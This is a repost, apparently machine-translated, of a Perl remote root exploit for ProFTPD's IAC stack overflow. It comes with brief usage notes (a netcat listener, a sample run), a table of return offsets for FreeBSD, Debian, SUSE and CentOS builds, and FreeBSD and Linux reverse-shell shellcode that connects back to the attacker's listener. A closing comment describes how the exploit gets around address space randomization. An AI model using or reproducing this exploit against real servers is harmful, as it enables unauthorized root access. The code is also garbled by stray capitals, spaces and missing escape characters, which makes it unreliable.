ProFTPD remote overflow get root permission

By viv

Nc-vv-l-p 45295
Perl exp. pl www.baidu.com 127.0.0.1 0
Remember to use exp. pl to overflow the host scanning port 8443.
If the shell overflows successfully, a Bounce Message is displayed...
Exp:
# Exploit Title: ProFTPD IAC Remote Root Exploit
# Date: 7 November 2010
# Author: Kingdom
Use IO: Socket;
$ Numtargets = 13;
@ Targets =
(
# Plain Stack Smashing

# Confirmed to work
["FreeBSD 8.1 i386, ProFTPD 1.3.3a Server (binary)", # PLATFORM SPEC
"FreeBSD", # OPERATING SYSTEM
0, # EXPLOIT STYLE
0xbfbfe000, # OFFSET START
0xbfbfff00, # OFFSET END
1029], # ALIGN

# Confirmed to work
["FreeBSD 8.0/7.3/7.2 i386, ProFTPD 1.3.2a/e/c Server (binary )",
"FreeBSD ",
0,
0xbfbfe000,
0xbfbfff00,
1021],

# Return into Libc

# Confirmed to work
["Debian GNU/Linux 5.0, ProFTPD 1.3.2e Server (Plesk binary )",
"Linux ",
1, # EXPLOIT STYLE
0x0804CCD4, # write (2) offset
8189, # ALIGN
0], # PADDING
# Confirmed to work
["Debian GNU/Linux 5.0, ProFTPD 1.3.3 Server (Plesk binary )",
"Linux ",
1,
0x0804D23C,
4101,
0],

# Confirmed to work
["Debian GNU/Linux 4.0, ProFTPD 1.3.2e Server (Plesk binary )",
"Linux ",
1,
0x0804C9A4,
8189,
0],
# Confirmed to work
["Debian Linux Squeeze/sid, ProFTPD 1.3.3a Server (distro binary )",
"Linux ",
1,
0x080532D8,
4101,
12],

["SUSE Linux 9.3, ProFTPD 1.3.2e Server (Plesk binary )",
"Linux ",
1,
0x0804C9C4,
8189,
0],
["SUSE Linux 10.0/10.3, ProFTPD 1.3.2e Server (Plesk binary )",
"Linux ",
1,
0x0804CAA8,
8189,
0],

["SUSE Linux 10.2, ProFTPD 1.3.2e Server (Plesk binary )",
"Linux ",
1,
0x0804CBBC,
8189,
0],
["SUSE Linux 11.0, ProFTPD 1.3.2e Server (Plesk binary )",
"Linux ",
1,
0x0804CCBC,
8189,
0],
# Confirmed to work
["SUSE Linux 11.1, ProFTPD 1.3.2e Server (Plesk binary )",
"Linux ",
1,
0x0804CCE0,
8189,
0],
["SUSE Linux SLES 10, ProFTPD 1.3.2e Server (Plesk binary )",
"Linux ",
1,
0x0804CA2C,
8189,
0],
# Confirmed to work
["CentOS 5, ProFTPD 1.3.2e Server (Plesk binary )",
"Linux ",
1,
0x0804C290,
8189,
0],

# Feel free to add more targets.
);
# Freebsd reverse shells port 45295
# Setup a netcat on this port ^
$ Bsdcbsc =
# Setreuid
"X31xc0x31xc0x50x31xc0x50xb0x7ex50xcdx80 ".
# Connect back:>
"X31xc0x31xdbx53xb3x06x53 ".
"Xb3x01x53xb3x02x53x54xb0 ".
"X61xcdx80x31xd2x52x52x68 ".
"X41x41x41x41x66x68xb0xef ".
"Xb7x02x66x53x89xe1xb2x10 ".
"X52x51x50x52x89xc2x31xc0 ".
"Xb0x62xcdx80x31xdbx39xc3 ".
"X74x06x31xc0xb0x01xcdx80 ".
"X31xc0x50x52x50xb0x5axcd ".
"X80x31xc0x31xdbx43x53x52 ".
"X50xb0x5axcdx80x31xc0x43 ".
"X53x52x50xb0x5axcdx80x31 ".
"Xc0x50x68x2fx2fx73x68x68 ".
"X2fx62x69x6ex89xe3x50x54 ".
"X53x50xb0x3bxcdx80x31xc0 ".
"Xb0x01xcdx80 ";
# Linux reverse shell port 45295 by bighawk
# Setup a netcat on this port ^
$ Lnxcbsc =
# Setreuid
"X31xc0x31xdbx31xc9xb0x46xcdx80x90x90x90 ".
# Connect back:>
"X6ax66 ".
"X58 ".
"X6ax01 ".
"X5b ".
"X31xc9 ".
"X51 ".
"X6ax01 ".
"X6ax02 ".
"X89xe1 ".
"Xcdx80 ".
"X68x7fx7fx7fx7f". # IP
"X66x68xb0xef". # PORT
"X66x6ax02 ".
"X89xe1 ".
"X6ax10 ".
"X51 ".
"X50 ".
"X89xe1 ".
"X89xc6 ".
"X6ax03 ".
"X5b ".
"X6ax66 ".
"X58 ".
"Xcdx80 ".
"X87xf3 ".
"X6ax02 ".
"X59 ".
"Xb0x3f ".
"Xcdx80 ".
"X49 ".
"X79xf9 ".
"Xb0x0b ".
"X31xd2 ".
"X52 ".
"X68x2fx2fx73x68 ".
"X68x2fx62x69x6e ".
"X89xe3 ".
"X52 ".
"X53 ".
"X89xe1 ".
"Xcdx80 ";
Sub exploit1 {
For ($ counter = $ targets [$ ttype] [3]; $ counter <$ targets [$ ttype] [4]; $ counter + = 250 ){
Printf ("[$ target] current offset = % 08x: pP", $ counter );
$ Ret = pack ("V", $ counter );
$ Align = $ targets [$ ttype] [5];
My $ sock = IO: Socket: INET-> new (PeerAddr => $ target,
PeerPort => 21,
Proto => tcp );
$ Stack = "KCOPERULEZKCOPERULEZKC". $ ret. "x90" x 500. $ shellcode. "A" x 10;
$ V = <$ sock>;

Print $ sock "x00" x $ align. "xff". $ stack ."";

Close ($ sock );
}
}
# Linux technique to retrieve a rootshell (C) Kingsley 2010
#
# Uses write (2) to fetch process memory out of the remote box (you can find the offset using IDA)
# Only the write (2) plt entry offset is needed for the exploit to work (and of course
# Align value)
# Once the correct write value is given to the exploit fetches the memory space of proftpd.
# With this information the exploit can find function entries and byte values
# Relative to the write (2) address.
# Once the memory is read out the exploit does the following to circumvent linux adress space
# Randomization:
#
#1.) calculate mmap64 () plt entry
#2.) seek for assembly instructions in the proftpd memory space relative to write (2)
# Such as pop ret instructions
#3.) call mmap64 () to map at address 0x10000000 with protection read, write, execute
#4.) calculate offset for memcpy () which is later used to construct the shellcode copy routine
#4.) copy known assembly instructions (which have been found before using the memory read)
# To address 0x10000000. these instructions will copy the shellcode from ESP to 0x10000100.
#